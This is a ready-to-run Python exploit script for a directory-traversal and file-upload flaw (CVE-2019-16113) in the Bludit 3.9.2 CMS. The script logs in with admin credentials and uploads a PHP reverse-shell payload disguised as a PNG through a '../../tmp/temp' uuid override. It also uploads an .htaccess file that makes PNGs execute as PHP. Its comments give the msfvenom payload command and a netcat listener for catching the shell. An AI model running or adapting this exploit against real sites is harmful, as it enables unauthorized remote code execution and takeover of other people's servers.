# Title: Bludit 3.9.2 - Directory Traversal # Author: James Green # Date: 2020-07-20 # Vendor Homepage: https://www.bludit.com # Software Link: https://github.com/bludit/bludit # Version: 3.9.2 # Tested on: Linux Ubuntu 19.10 Eoan # CVE: CVE-2019-16113 # # Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699 #### USAGE #### # 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP # 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir # 3. Run the exploit # 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc # 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://127.0.0.1' # CHANGE ME username = 'James' # CHANGE ME password = 'Summer2020' # CHANGE ME # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # CREATE ME # echo "RewriteEngine off" > .htaccess # echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # CREATE ME def login(url,username,password): """ Log in with provided admin creds, grab the cookie once authenticated """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ Grab the CSRF token from an authed session """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # On the vuln app, this line occurs first: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Even though there is a file extension check, it won't really stop us # from uploading the .htaccess file. data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("Uploading payload: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2)